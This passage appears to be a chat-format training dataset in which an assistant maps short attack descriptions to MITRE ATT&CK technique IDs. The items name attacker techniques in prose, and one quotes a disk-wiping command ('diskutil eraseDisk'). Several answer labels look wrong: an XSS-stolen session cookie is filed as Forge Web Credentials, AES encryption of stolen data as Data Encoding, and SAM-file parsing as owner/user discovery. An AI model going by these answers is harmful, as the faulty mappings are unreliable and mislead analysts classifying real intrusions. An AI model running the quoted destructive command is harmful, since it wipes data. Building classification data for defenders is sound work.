                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By restricting outbound data packets to a few kilobytes, the threat actor evades network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encodes exfiltrated images using hexadecimal representation and includes them in an email body."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a file named \"update.exe \" (note the space) to bypass filename-based detection rules."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the iptables rules to accept all inbound traffic, effectively disabling the host firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised service account is used to alter synchronization schedules in a hybrid identity deployment, facilitating credential theft."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects a rogue DLL into the LSASS process to capture and replay Kerberos tickets, effectively modifying authentication flows."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is delivered as raw source and later assembled into a Windows PE using the victim's compiler, ensuring the final binary is unique per system."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a privileged service to read the NTDS.dit file over the network and harvest domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the System Binary Proxy Execution technique, the intruder runs a malicious DLL via control.exe with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using valid credentials, the threat actor initiates a direct RDP connection to a Linux VM hosted in AWS through the provider's console."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploited a misconfigured certificate enrollment service to enroll for a code‑signing certificate under a spoofed identity."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers configure an external proxy server to forward malicious traffic from infected hosts, masking the true source of the connection."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors install a legitimate remote assistance application but modify it to include hidden modules for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was observed deleting inbound and outbound emails from the Exchange server to eliminate traces."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a compromised FTP account to upload malicious index files, altering the visible content of the victim's website."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses steganographic methods to embed a credential dumping tool within the unused frames of a GIF animation."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers split large files into chunks smaller than the allowed 10 MB per transfer to bypass data exfiltration limits."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces the system’s com.apple.softwareupdate.launchdaemon with a malicious version that calls out to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor distributes LNK files that contain a legitimate looking icon but actually launch a PowerShell script from the hidden file path."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script appends garbage data to system binaries, disrupting integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder observes the victim’s website update frequency and content publishing schedule to infer the organization’s business rhythm."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a workstation, the threat group exfiltrated the NTLM hashes and employed them to bypass standard authentication mechanisms on a domain controller."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan performs in-memory DLL injection using a custom reflective loader, avoiding any file system artifacts."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group modifies DNS queries to resolve a trusted domain but routes the underlying connection to a malicious endpoint, a variant of domain fronting."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue Windows service is installed that starts automatically and runs the attacker’s payload."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employed runtime packing, encrypting sections of the PE file and unpacking in memory."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stripped metadata and renamed malicious binaries to avoid detection after modifying the tool's configuration."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the %SystemRoot%\\system32 PATH entry to point to a network share hosting malware, leading to remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor changes entries in the application’s NoSQL database to elevate privileges for certain accounts."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit script calls the RPC interface to enumerate domain users via the SamrEnumerateDomainsInSamServer function."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated attack involves crafting a token that includes the SeDebugPrivilege, allowing the adversary to attach to and manipulate other processes."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the Windows attrib command to mark a DLL as both hidden and system, concealing it from casual inspection."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries collect publicly available PDFs, annual reports, and regulatory filings to learn about the target's business units and strategic initiatives."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses Kerberoasting to request service tickets and crack service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors enumerate Bluetooth devices in the vicinity of a target office building."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script attempts to enumerate valid user accounts by observing login error messages while guessing passwords."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During exfiltration, the attacker uses a covert channel that transmits data in small, intermittent bursts to stay within allowed transfer sizes."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a Python script via the interpreter to perform data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CloudWatch logging was turned off by the intruder to avoid detection of unauthorized EC2 instance launches."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit the Windows Speech Recognition feature by injecting a malicious voice command script that runs when speech recognition is enabled."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a script that issues \"diskutil eraseDisk\" on macOS, erasing the disk structure and all data."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using T1546.008, the intruder modifies the registry keys related to accessibility shortcuts, causing the malicious executable to run on startup of the Ease of Access screen."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing Mavinject, the attacker proxies execution through the svchost service to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a man‑in‑the‑browser attack to modify transaction details in real time, redirecting payments to their own accounts."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uninstalls the host intrusion detection system via scripted commands."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a DLL injection technique to read the password vault of a popular password manager running on the target system."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised credentials, the adversary places a Python-based web shell in the webroot directory to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a misconfigured IIS virtual directory to host a web shell that runs PowerShell scripts on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a credential harvesting step and then used the stolen admin password to dump the device's ACL settings."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfigured container registry to push a malicious image and later deploys it on the target."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor communicates with its C2 server using encrypted TLS connections over port 443, blending in with normal HTTPS traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload hijacks the KernelCallbackTable, replacing legitimate callback addresses with those of a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware parses the SAM file to enumerate existing user accounts on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a heap overflow vulnerability in the Windows Print Spooler service to obtain SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a Credential Dumping via the LSASS dump technique using ProcDump."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a symmetric encryption scheme to protect the exfiltration of files over an FTP connection."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a script that set all firewall rule actions to \"allow\" in the cloud environment, nullifying any blocking controls."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious executable is compressed and encrypted using UPX before being delivered to the victim."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script automates the re‑registration of a new hardware token as a secondary factor, overriding the original MFA setup."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker installed a malicious Microsoft Exchange transport agent that intercepts inbound emails and forwards them to an external C2 server."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware adds a line to a user's .bashrc that launches a reverse shell each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses arp -s commands to statically set false ARP entries on a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the cloud provider's management API to open a remote desktop session directly onto a compromised virtual machine."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces a legitimate shared library with a malicious version to execute code in any process that loads the DLL."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise was carried out by leveraging odbcconf to create a new driver entry that loads a malicious DLL, effectively executing the attacker's code with system rights."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compress and then encrypt stolen data using AES‑256 before exfiltration to ensure confidentiality and bypass data loss prevention."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exploits the low-level Ethernet frame payload to transmit commands without using higher-level protocols."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a custom compatibility shim using the Application Compatibility Toolkit to force a legitimate binary to load a malicious DLL, achieving persistence via application shimming."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers gain access to a compromised mobile app's encrypted storage, extract its OAuth tokens, and use them to call backend APIs as an authorized client without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses valid SaaS account credentials to exfiltrate data from the victim's Salesforce instance."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used a known local service account password to gain unauthorized access and install a backdoor on the host."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a spearphishing message on a corporate Microsoft Teams chat, containing a link that installs a remote access trojan."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber actor delivers a systemd service that masks its activity by naming it similarly to a legitimate service."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a cross‑site scripting flaw, the adversary captures the user’s session cookie and uses it to impersonate the user."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the SQL Server Agent jobs to run a PowerShell script that harvests credentials from the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion disables security logging by setting the audit policy to 'No auditing' via command line."
            },
            {
                "role": "assistant",
